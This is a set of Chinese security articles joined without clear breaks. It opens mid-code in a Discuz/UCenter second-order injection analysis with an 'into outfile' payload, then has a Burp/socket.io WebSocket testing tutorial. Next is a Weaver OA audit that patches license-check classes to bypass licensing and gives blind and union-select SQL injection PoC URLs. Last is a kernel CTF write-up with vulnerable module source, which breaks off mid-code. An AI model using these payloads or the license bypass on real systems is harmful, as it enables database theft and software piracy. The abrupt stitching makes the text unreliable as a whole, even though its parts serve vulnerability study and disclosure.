$settingnew['report_reward']['min'] = intval($settingnew['report_reward']['min']);
$settingnew['report_reward']['max'] = intval($settingnew['report_reward']['max']);
if($settingnew['report_reward']['min'] > $settingnew['report_reward']['max']) {
unset($settingnew['report_reward']);
}
if($settingnew['report_reward']['min'] == $settingnew['report_reward']['max']) {
$settingnew['report_reward'] = array('min' => '', 'max' => '');
}
$settingnew['report_reward'] = serialize($settingnew['report_reward']);
}
$settingnew['creditspolicy'] = @dunserialize($setting['creditspolicy']);
$settingnew['creditspolicy']['lowerlimit'] = array();
foreach($settingnew['lowerlimit'] as $key => $value) {
if($settingnew['extcredits'][$key]['available']) {
$settingnew['creditspolicy']['lowerlimit'][$key] = (float)$value;
}
}
unset($settingnew['lowerlimit']);
}
if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {
require_once './config/config_ucenter.php';
$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);
$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);
if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){
cpmsg('uc_config_load_data_local_infile_error', '', 'error');
}
if($settingnew['uc']['connect']) {
$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);
if(!$uc_dblink) {
cpmsg('uc_database_connect_error', '', 'error');
} else {
if(function_exists("mysql_connect")) {
mysql_close($uc_dblink);
} else {
$uc_dblink->close();
}
}
}
$fp = fopen('./config/config_ucenter.php', 'r');
$configfile = fread($fp, filesize('./config/config_ucenter.php'));
$configfile = trim($configfile);
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
fclose($fp);
$connect = '';
$settingnew['uc'] = daddslashes($settingnew['uc']);
if($settingnew['uc']['connect']) {
$connect = 'mysql';
$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);
$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');
$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);
$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);
$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile);
if(!preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbtablepre']) || !preg_match('/^[\w\d\_]+$/', $settingnew['uc']['dbname'])) {
cpmsg('uc_config_write_error', '', 'error');
}
$configfile = str_replace("define('UC_DBNAME', '".addslashes(UC_DBNAME)."')", "define('UC_DBNAME', '".$settingnew['uc']['dbname']."')", $configfile);
$configfile = str_replace("define('UC_DBTABLEPRE', '".addslashes(UC_DBTABLEPRE)."')", "define('UC_DBTABLEPRE', '`".$settingnew['uc']['dbname'].'`.'.$settingnew['uc']['dbtablepre']."')", $configfile);
}
$configfile = str_replace("define('UC_CONNECT', '".addslashes(UC_CONNECT)."')", "define('UC_CONNECT', '".$connect."')", $configfile);
$configfile = str_replace("define('UC_KEY', '".addslashes(UC_KEY)."')", "define('UC_KEY', '".$settingnew['uc']['key']."')", $configfile);
$configfile = str_replace("define('UC_API', '".addslashes(UC_API)."')", "define('UC_API', '".$settingnew['uc']['api']."')", $configfile);
$configfile = str_replace("define('UC_IP', '".addslashes(UC_IP)."')", "define('UC_IP', '".$settingnew['uc']['ip']."')", $configfile);
$configfile = str_replace("define('UC_APPID', '".addslashes(UC_APPID)."')", "define('UC_APPID', '".$settingnew['uc']['appid']."')", $configfile);
$fp = fopen('./config/config_ucenter.php', 'w');
if(!($fp = @fopen('./config/config_ucenter.php', 'w'))) {
cpmsg('uc_config_write_error', '', 'error');
}
@fwrite($fp, trim($configfile)); // 写入到config_ucenter.php 可控UC_APPID 的值 通过上面代码可以看出来只简单的addslashes了一下
@fclose($fp);
}
isset($settingnew['regname']) && empty($settingnew['regname']) && $settingnew['regname'] = 'register';
isset($settingnew['reglinkname']) && empty($settingnew['reglinkname']) && $settingnew['reglinkname'] = cplang('reglinkname_default');
$nohtmlarray = array('bbname', 'regname', 'reglinkname', 'icp', 'sitemessage', 'site_qq');
foreach($nohtmlarray as $k) {
if(isset($settingnew[$k])) {
$settingnew[$k] = dhtmlspecialchars($settingnew[$k]);
}
}
if(isset($settingnew['statcode'])) {
$settingnew['statcode'] = preg_replace('/language\s*=[\s|\'|\"]*php/is', '_', $settingnew['statcode']);
$settingnew['statcode'] = str_replace(array('<?', '?>'), array('<?', '?>'), $settingnew['statcode']);
}
转义一次的字符串被写人文件中，在PHP解析时就是没有转义过的原始内容 造成了二次注入的产生
<?php
define('UC_APPID', 'sadsadsadasd\'');
printf(UC_APPID);
漏洞验证
burp登场
直接构造语句
1' into outfile 'c:\wamp64\tmp\1.txt' -- a
构造报错注入 | 社区文章 |
原文：<https://www.blackhillsinfosec.com/how-to-hack-websockets-and-socket-io/>
**WebSockets概述**
* * *
WebSockets是一种允许浏览器和服务器建立单个TCP连接，并进行双向异步通信的技术。这种技术非常适合Web应用程序，采用该技术之后，浏览器无需在后台发送数百个新的HTTP轮询请求，也照样能够实时更新。然而，对于测试者来说，这可不是什么好事，因为支持WebSockets的工具没有像支持HTTP的工具那样普遍，并且，这些工具用起来也更为复杂。
除了Burp Suite之外，还有一些其他工具也能用来处理WebSockets。虽然我们已经尝试过所有的工具，但没有一个完全符合我们的胃口。
* Zed Attack Proxy（ZAP）
* Pappy Proxy
* Man-in-the-Middle Proxy（mitmproxy）
* WebSocket/Socket.io（WSSiP）
对于希望通过WebSockets来绕过进攻端的安全检测的读者来说，可以参阅下面这篇文章。
https://www.blackhillsinfosec.com/command-and-control-with-websockets-wsc2/
在本文中，我们关注的重点是[socket.io](https://socket.io/ "socket.io")，这是一个流行的JavaScript
WebSockets库。然而，需要说明的是，文中介绍的攻击思路不仅适用于其他库，同时，也适用于WebSockets协议。
那么，socket.io到底有多受欢迎呢？它在Github上收获了41,000多颗星。
同时，在NPM网站的WebSockets包排行榜上，它们还占据了第二名和第三名的位置。
事实上，就连优秀的[OWASP Juice-Shop项目](https://www.owasp.org/index.php/OWASP_Juice_Shop_Project "OWASP Juice-Shop项目")也采用了socket.io库，因此，我们决定使用socket.io来完成相应的演示。
https://github.com/bkimminich/juice-shop/search?utf8=%E2%9C%93&q=socket.io&type=
在本文中，我们假设读者可以熟练使用Burp
Suite测试Web应用程序，同时，文中涉及的所有测试工作，都可以利用该软件的社区版本来完成。废话少说，直入主题吧！
如果通过浏览器访问Juice-Shop的话，就可以在后台快速考察WebSocket的流量了。为此，可以打开Burp，然后转到Proxy->
WebSockets历史记录，从这里就可以看到相关的流量了。
我们知道，HTTP是一种无状态协议，所以，它需要不停的发送请求/响应对；与此相反，WebSockets则是一种有状态协议。这就意味着，我们可以从服务器获得任意数量的传出“请求”和任意数量的传入“响应”。由于底层连接协议使用的是始终保持打开状态的TCP协议，因此，客户端和服务器可以随时发送消息，而无需等待另一端。看到这里，您就能够明白WebSockets历史记录视图与HTTP历史记录之间的差异了。
在该视图中，我们看到的，主要是发送和接收的单字节消息。但是，当应用程序执行一些有趣的操作时，我们将看到带有更大的有效载荷的消息。
Burp提供的许多功能，也可以用来测试WebSockets。比如，Burp可以实时拦截和修改WebSocket消息，遗憾的是，Burp仍然缺乏针对WebSockets的Repeater、Scanner或Intruder功能。在Burp中，WebSocket拦截是默认启用的，所以，我们只需打开主拦截即可。
我们将会收到截获的WebSocket消息，这里跟处理HTTP消息的方式别无二致。同样，我们也可以在拦截窗口中编辑这些消息。
之后，就可以在WebSockets历史记录选项卡中查看编辑后的消息了。
**将WebSockets降级为HTTP**
* * *
**方法1：活用Socket.io的HTTP备用机制**
* * *
我很快注意到了一件奇怪的事情：有时，我会在HTTP历史记录中看到类似于在WebSockets历史记录中所见过的消息。实际上，这个有趣的WebSockets消息与回答记分板质询有关。下面展示的是来自服务器的相同响应，只不过这次是在HTTP历史记录中。所以，我断定socket.io能够通过WebSockets或HTTP发送消息。
之所以允许使用HTTP，根据我的推测，是为了在WebSockets不受支持或因某种原因而被阻止的情况下，使应用程序仍然可以正常运行。传输参数之所以会引起我的注意，是因为我在观察相关请求过程中，发现其值有时候是“websockets”，有时候是“polling”。
在socket.io的文档中，有一个章节对“polling”和“websockets”这两个默认传输选项的运行机制进行了介绍。同时，它还介绍了如何通过将WebSockets指定为唯一的传输机制来禁用轮询。不过，我认为反过来也是可行的，这样，我们就可以将轮询指定为唯一的传输机制了。
https://socket.io/docs/client-api/#with-WebSocket-transport-only
在浏览socket.io.js源代码过程中，我无意中发现了以下代码，看起来对我们非常有用。
this.transports=n.transports||["polling","WebSocket"]
上面这行代码会将一个名为"transports"的内部变量设置为传入的某个值，但是，如果传入的值为false/empty的话，就将其设为默认的
[“polling”,”websocket”]
。到目前为止，这当然符合我们对轮询和WebSockets的默认传输的理解。那么，接下来让我们看看，当我们在Burp的Proxy->Options选项中通过设置匹配和替换规则来改变这些默认值后，会发生什么情况。
添加规则后，刷新页面（必须启用Burp的内置规则“Require non-cached
response”或执行强制刷新），这样，数据就不再通过WebSockets发送了。
这很好，但是，如果您使用的应用程序已经提供了优先于我们的新默认值的传输选项呢？在这种情况下，可以修改匹配和替换规则。下面给出的规则，将适用于socket.io库的不同版本，并会忽略应用程序开发人员指定的任何传输选项。
为了便于复制粘贴，下面给出对应的字符串：
this\.transports=.*?\.transports\|\|\["polling","websocket"]
this.transports=["polling"]
请务必将其设置为正则表达式匹配。
**方法2：阻止WebSockets升级**
* * *
需要说明的是，方法1只能用于socket.io，不过，如果经过适当修改的话，也可以用于其他客户端库。但是，下面介绍的方法将更加通用，因为它是以WebSockets协议本身为目标。
经过一番研究后，我发现WebSockets会首先通过HTTP进行通信，以便与服务器进行相关的协商，然后将连接“升级”为WebSocket方式。为此，需要完成的重要工作包括：
1）客户端发送带有WebSocket某些特殊头部的升级请求。
2）服务器将返回状态码101 Switching Protocols，以及WebSocket的某些特殊头部。
3）通信转换为WebSockets方式，之后，就看不到用于该特殊会话的HTTP请求了。
WebSockets RFC文档的第4.1节提供了如何中断这个工作流程的相关线索。
以下内容节选自<https://tools.ietf.org/html/rfc6455#section-4.1页面：>
1.如果从服务器收到的状态代码不是101，那么客户端仍然根据HTTP
[RFC2616]过程来处理响应。特别是，如果客户端收到401状态代码，则可能进行身份验证；服务器可使用3xx状态代码重定向客户端（但客户端不需要遵循它们），等等。否则，请按以下步骤操作。
2.如果响应中缺少头部字段Upgrade，或头部字段Upgrade包含的值与大小写敏感的ASCII字符串"WebSocket"不完全匹配的话，客户端必须废除这个WebSocket
连接。
3.如果响应中缺少头部字段Connection，或头部字段Connection包含的值与大小写敏感的ASCII字符串"Upgrade"不完全匹配的话，客户端必须废除这个WebSocket连接。
4.如果响应中缺少Sec-WebSocket-Accept头部字段，或Sec-WebSocket-Accept头部字段的值并非是由Sec-WebSocket-Key（作为字符串，未经base64解码）与字符串"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"串联起来的字符串（忽略任何前导和尾随空格）的base64编码后的SHA-1值的话
，客户端必须废除这个WebSocket连接。
5.如果响应中包括Sec-WebSocket-Extensions头部字段，并且该头部字段要求使用的扩展并没有出现在客户端的握手消息中（服务器指示的扩展并非是客户端所请求的），客户端必须废除这个WebSocket连接。（解析该头部字段以确定请求哪些扩展的问题，将在第9.1节中讨论。）
通过考察上面“必须废除”连接的条件，我想出了如下文所示的一套替换规则，这些规则可以在上述五种情形下都会令客户端废除WebSocket连接。
一旦这些规则就位，所有WebSocket升级请求都会失败。由于socket.io默认情况下无法使用HTTP，因此，这些规则完全可以达到理想的效果。当然，某些特殊实现或其他库的行为可能有所不同，并导致您正在测试的应用程序出错。但是我们的工作就是让软件做一些不应该做的事情！
原始响应看起来就是这种情况，并且会导致客户端和服务器转而使用WebSockets进行通信。
实际上，客户端收到的响应虽然来自服务器，但是却已经进行了相应的修改，按照RFC的规定，它会废弃该WebSockets连接。
我在测试中遇到的一件事是，在使用这些匹配和替换规则后，客户端在重试WebSockets连接时非常持久，并在我的HTTP历史记录中产生了大量不必要的流量。如果您正在处理socket.io库，最简单的方法就是使用上面介绍的第一种方法。如果您面对的是不同的库或情况，则可能需要添加更多规则来让客户端认为服务器不支持WebSockets，甚至废掉客户端库中的WebSockets功能。
**将Burp Repeater用作Socket.io客户端**
* * *
由于我们已经迫使通信流量通过HTTP进行传输，而非通过WebSockets进行传输，所以，现在可以添加自定义的匹配和替换规则，将其应用于过去通过WebSockets传输的流量上面！
接下来，我们可以完成更进一步的修改，从而为使用Repeater、Intruder和Scanner等工具铺平道路。当然，这些修改都是针对socket.io库的。
不过，当我们重发socket.io使用的HTTP请求时，还面临两个问题。
1. 每个请求都有一个会话号，任何无效请求都将导致服务器终止该会话。
2. 每个请求的主体都有一个计算字段，用来表示消息的长度。如果这个值不正确的话，服务器会将其视为无效请求并终止会话。
以下是应用程序使用的几个示例URL。
/socket.io/?EIO=3&transport=polling&t=MJJR2dr
/socket.io/?EIO=3&transport=polling&t=MJJZbUa&sid=iUTykeQQumxFJgEJAABL
URL中的“sid”参数表示到服务器的单个连接流。如果发送了无效消息（这种情况在攻击过程中很常见），那么服务器将关闭整个会话，这样的话，我们就不得不重启新会话。
给定请求的主体中含有一个字段，其中存放有效载荷的字节数。这类似于“Content-Length”HTTP头部，只不过该字段的值近针对socket.io的有效载荷而已。例如，如果您要发送的有效载荷是“hello”，那么，相应的主体将是“5：hello”，Content-Length头部的值是7。其中，5表示字符串“hello”中的字母数量，而7则表示字符串“hello”中的字母数量以及socket.io添加到主体内的字符串“5：”中的字母数量之和。与往常一样，Burp将替我们更新Content-Length头部，因此，这件事情我们无需担心。但是，我还没有找到能够自动计算和包含有效载荷长度的好方法。更让人头疼的是，我发现socket.io竟然会在同一个HTTP请求中发送多条消息。由于每个消息都是一个封装后的WebSockets有效载荷，并且每个消息都有自己的长度，因此，最终看起来就像这样：“5:hello,4:john,3:doe”（实际的语法可能有所不同，这里只是便于演示）。计算长度时一旦出错，服务器就会将其作为无效消息拒绝，这样，我们就又不得不重新面对第一个问题了。
下面是一个消息体的示例。该示例取自Juice-Shop应用程序中的响应，不过请求的格式是完全相同的。注意，这里的“215”表示“：”之后的有效载荷的长度。
**215:42[“challenge solved”,{“key”:”zeroStarsChallenge”,”name”:”Zero
Stars”,”challenge”:”Zero Stars (Give a devastating zero-star feedback to the
store.)”,”flag”:”e958569c4a12e3b97f38bd05cac3f0e5a1b17142″,”hidden”:false}]**
* * *
**宏指令**
* * *
我们可以使用Burp宏指令来解决第一个问题。基本上，每当Burp发现服务器拒绝消息时，宏指令都会自动建立新会话，并用有效的“sid”更新原始请求。要想使用宏指令，请选择Project
options->Sessions->Macros->Add选项，这样就可以创建新的宏指令了。
为了获取建立新会话的URL，只需省略“sid”参数即可，例如：
/socket.io/?EIO=3&transport=polling&t=MJJJ4Ku
我发现，“t”的值并不重要，所以我没有理会它。
服务器响应包含了一个供我们使用的全新“sid”值。
接下来，单击“Configure item”按钮，并将参数名称命名为“sid”。然后，选择“Extract from regex
group”选项，并使用如下所示的正则表达式。
"sid"\:"(.*?)"
这时，配置窗口应如下所示：
**会话处理规则**
* * *
现在，我们已经建好了一个宏指令，接下来要做的是，设法触发它。这时候，Burp会话处理规则就派上用场了。为此，请选择Project
options->Sessions->Session Handling Rules->Add菜单项。
为“Check session is valid”创建新的规则动作
对新的规则动作进行配置，具体如下：
最后，在弄好新的规则动作后，还要修改规则的应用范围，也就是说，处决定要将该规则应用到哪些地方。我建议至少将其应用于Repeater上面，这样，我们就可以手动方式重发请求了。
我的规则应用范围的配置如下所示。当然，您也可以让应用范围更加具体，但下面的选项应该能够适用于大多数情况。
这里是在没有会话处理规则的情况下发出的请求。
这里是在会话处理规则生效后发出的同一请求。请注意，会话处理规则“透明地”更新了cookie以及请求中“sid”参数的值。
**结束语**
* * *
最后说明一点，在处理上面讨论的第2个问题的时候，由于无法使用Burp的Scanner和Intruder插件，于是，我修改了一个现有的Burp插件，这似乎可以完成这项工作，不过，由于某些原因，服务器对它并不友好。如果读者有兴趣进一步研究这个问题的话，请随时与我联系。 | 社区文章 |
## 前言
以下两个SQL注入最新版本均已修复。虽然漏洞比较水，一眼就看的出但还是记录一下。源码审计，还是想搭下相应的环境对漏洞复现更能直观反映，发现其要导入相应的license证书才能正常使用。看了下证书的生成发现没有私钥绕不过(太菜了)，那只能用暴力方法把源代码校验方法给改了。
主要改两个文件：
1.`classbean/api/login/util/LoginUtil.class`的`beforeCheckUser`函数修改
private String beforeCheckUser(HttpServletRequest var1, HttpServletResponse var2) {
RecordSet var3 = new RecordSet();
StaticObj var4 = StaticObj.getInstance();
Calendar var5 = Calendar.getInstance();
String var6 = Util.add0(var5.get(1), 4) + "-" + Util.add0(var5.get(2) + 1, 2) + "-" + Util.add0(var5.get(5), 2);
try {
String var7 = Util.null2String(var1.getParameter("loginid"));
String var8 = Util.null2String(var1.getParameter("logintype"), "1");
String var9 = Util.null2String(var1.getParameter("validatecode"));
if (!this.checkLoginType(var7, var8)) {
return "16";
} else if (!this.checkIpSegByForbidLogin(var1, var7) && this.checkIsNeedIp(var7)) {
return "88";
} else {
ChgPasswdReminder var10 = new ChgPasswdReminder();
RemindSettings var11 = var10.getRemindSettings();
int var12 = var11.getNeedvalidate();
String var13 = Util.null2String((String)var1.getSession(true).getAttribute("validateRand")).trim();
if (var13.length() == 0) {
String var14 = Util.null2String(var1.getParameter("validateCodeKey"));
if (var14.length() > 0) {
var13 = Util.null2String(Util_DataMap.getObjVal(var14));
Util_DataMap.clearVal(var14);
}
}
int var26 = var11.getNumvalidatewrong();
byte var15 = 0;
boolean var16 = (new VerifyPasswdCheck()).getUserCheck(var7, "", 1);
if (var16) {
return "110";
} else {
var3.executeQuery("select isADAccount from hrmresource where loginid=?", new Object[]{var7});
if (var3.next()) {
this.isADAccount = var3.getString("isADAccount");
}
if (var7.indexOf(";") <= -1 && var7.indexOf("--") <= -1 && var7.indexOf(" ") <= -1 && var7.indexOf("'") <= -1) {
String var17 = (String)var4.getObject("isLicense");
LN var18 = new LN();
try {
var4.putObject("isLicense", "true");
} catch (Exception var24) {
var4.putObject("isLicense", "true");
}
String var19 = Util.null2String(var18.getConcurrentFlag());
int var20 = Util.getIntValue(var18.getHrmnum());
if ("1".equals(var19)) {
LicenseCheckLogin var21 = new LicenseCheckLogin();
if (var21.getLicUserCheck(var7, var20)) {
this.recordFefuseLogin(var7);
return "26";
}
}
if (var8.equals("1") && var12 == 1) {
if (var13.trim().equals("") || "".equals(var9.trim())) {
return "52";
}
if (var15 >= var26 && !var13.toLowerCase().equals(var9.trim().toLowerCase())) {
return "52";
}
}
String var27 = (String)var4.getObject("software");
String var22 = "n";
String var23 = "n";
if (var27 == null) {
var3.executeQuery("select * from license", new Object[0]);
if (var3.next()) {
var27 = var3.getString("software");
if (var27.equals("")) {
var27 = "ALL";
}
var4.putObject("software", var27);
var22 = var3.getString("portal");
if (var22.equals("")) {
var22 = "n";
}
var4.putObject("portal", var22);
var23 = var3.getString("multilanguage");
if (var23.equals("")) {
var23 = "n";
}
var4.putObject("multilanguage", var23);
}
}
return "";
} else {
return "16";
}
}
}
} catch (Exception var25) {
return "-1";
}
}
2.`classbean/weaver/login/LicenseCheckLogin.class`的getLicUserCheck函数修改:
public boolean getLicUserCheck(String var1, int var2) {
boolean var3 = true;
if (!"sysadmin".equals(var1)) {
int var4 = this.checkUserLoginCount();
if (var4 >= var2) {
var3 = true;
}
}
return var3;
}
修改完后重编译替换原来的文件，服务再重启下就可以绕过了。
## 第一处SQL注入
漏洞参数`node`
<%
String node=Util.null2String(request.getParameter("node"));
String arrNode[]=Util.TokenizerString2(node,"_");
String type=arrNode[0];
String value=arrNode[1];
String scope = Util.null2String(request.getParameter("scope"));
String typeids="";
String flowids="";
String nodeids="";
ArrayList typeidList=new ArrayList();
ArrayList flowidList=new ArrayList();
ArrayList nodeidList=new ArrayList();
rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='typeids' ");
if(rs.next()){
typeids=Util.null2String(rs.getString("mc_value"));
typeidList=Util.TokenizerString(typeids,",");
}
rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='flowids' ");
if(rs.next()){
flowids=Util.null2String(rs.getString("mc_value"));
flowidList=Util.TokenizerString(flowids,",");
}
rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='nodeids' ");
if(rs.next()){
nodeids=Util.null2String(rs.getString("mc_value"));
nodeidList=Util.TokenizerString(nodeids,",");
}
JSONArray jsonArrayReturn= new JSONArray();
if("root".equals(type)){ //主目录下的数据
WorkTypeComInfo wftc=new WorkTypeComInfo();
while(wftc.next()){
JSONObject jsonTypeObj=new JSONObject();
String wfTypeId=wftc.getWorkTypeid();
String wfTypeName=wftc.getWorkTypename();
//if("1".equals(wfTypeId)) continue;
jsonTypeObj.put("id","wftype_"+wfTypeId);
jsonTypeObj.put("text",wfTypeName);
if(!typeidList.contains(wfTypeId)){
jsonTypeObj.put("checked",false);
} else {
jsonTypeObj.put("checked",true);
jsonTypeObj.put("expanded",true);
}
jsonTypeObj.put("draggable",false);
jsonTypeObj.put("leaf",false);
jsonArrayReturn.put(jsonTypeObj);
}
} else if ("wftype".equals(type)){
rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype="+value);
while (rs.next()){
JSONObject jsonWfObj=new JSONObject();
String wfId=Util.null2String(rs.getString("id"));
String wfName=Util.null2String(rs.getString("workflowname"));
jsonWfObj.put("id","wf_"+wfId);
jsonWfObj.put("text",wfName);
jsonWfObj.put("draggable",false);
if(!flowidList.contains(wfId)){
jsonWfObj.put("checked",false);
} else {
jsonWfObj.put("checked",true);
jsonWfObj.put("expanded",true);
}
jsonWfObj.put("leaf",true);
jsonArrayReturn.put(jsonWfObj);
}
如上代码服务端接受前端传入的问题参数`node`,将`node`以`_`为分隔符将`node`分为两个部分分别赋值给`type`和`value`两个参数，在`rs.executesql()`处将value值直接拼接入sql语句执行数据库操作，并将查询结果以json格式返回。
漏洞复现：
抓取数据包，构造payload`scope=1&node=wftype_5/if(ascii(substr(user(),1,1))=114,1,0)`
判断数据库用户名第一个字符的ascii码，if条件为真返回1，执行5/1，返回相应数据如下所示：
判断错误，if条件为假返回0，执行5/0，0不能为除数，数据库执行错误无数据返回，如下所示：
## 第二处SQL注入
跟进`ps.syncUserInfo(userIdentifiers);`发现直接拼接进入sql语句造成sql注入：
漏洞复现进行联合注入：
poc
/mobile/plugin/SyncUserInfo.jsp?userIdentifiers=1,2%29%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion%20select%201%2C2%2C3%2C4%2Cuser()%2C6%2C7%2C8%20order%20by%208%23 | 社区文章 |
# SCTF flying_kernel 出题总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
SCTF中一道linux kernel pwn的出题思路及利用方法，附赛后复盘
## 赛时情况
题目在早上九点第一波放出，在晚上6点由AAA战队取得一血，直到比赛结束一共有7支战队做出此题，作为一个kernel初学者很庆幸没被打烂orz（虽然被各种非预期打爆了，还是需要继续努力
## 出题思路
考点主要来源于CVE-2016-6187 的一篇利用文章，原文链接<https://bbs.pediy.com/thread-217540.htm>
简单概括就是使用以下语句
socket(22, AF_INET, 0);
会触发 `struct subprocess_info` 这个对象的分配，此结构为0x60大小，定义如下：
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
此对象在分配时最终会调用cleanup函数，如果我们能在分配过程中把cleanup指针劫持为我们的gadget，就能控制RIP，劫持的方法显而易见，即条件竞争
## 题目源码
先给出这次题目的模块源码
#include <linux/module.h>
#include <linuxersion.h>
#include <linux/kernel.h>
#include <linuxpes.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linuxev.h>
#include <asm/uaccess.h>
#include <linuxab.h>
static char *sctf_buf = NULL;
static struct class *devClass;
static struct cdev cdev;
static dev_t seven_dev_no;
static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);
static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static int seven_open(struct inode *i, struct file *f);
static int seven_close(struct inode *i, struct file *f);
static struct file_operations seven_fops =
{
.owner = THIS_MODULE,
.open = seven_open,
.release = seven_close,
.write = seven_write,
.unlocked_ioctl = seven_ioctl
};
static int __init seven_init(void)
{
if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL)
{
class_destroy(devClass);
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
cdev_init(&cdev, &seven_fops);
if (cdev_add(&cdev, seven_dev_no, 1) == -1)
{
device_destroy(devClass, seven_dev_no);
class_destroy(devClass);
unregister_chrdev_region(seven_dev_no, 1);
return -1;
}
return 0;
}
static void __exit seven_exit(void)
{
unregister_chrdev_region(seven_dev_no, 1);
cdev_del(&cdev);
}
ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos)
{
if (sctf_buf)
{
if (len <= 0x80)
{
printk(KERN_INFO "write()\n" );
u_int64_t offset = 0x80 - len;
copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len);
}
}
else
{
printk("What are you doing?");
}
return len;
}
// ioctl函数命令控制
long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size)
{
int retval = 0;
switch (cmd) {
case 0x5555://add
if (size == 0x80)
{
sctf_buf = (char *)kmalloc(size,GFP_KERNEL);
printk("Add Success!\n");
}
else
{
printk("It's not that simple\n");
}
break;
case 0x6666:
if (sctf_buf)
{
kfree(sctf_buf);
}
else
{
printk("What are you doing?");
retval = -1;
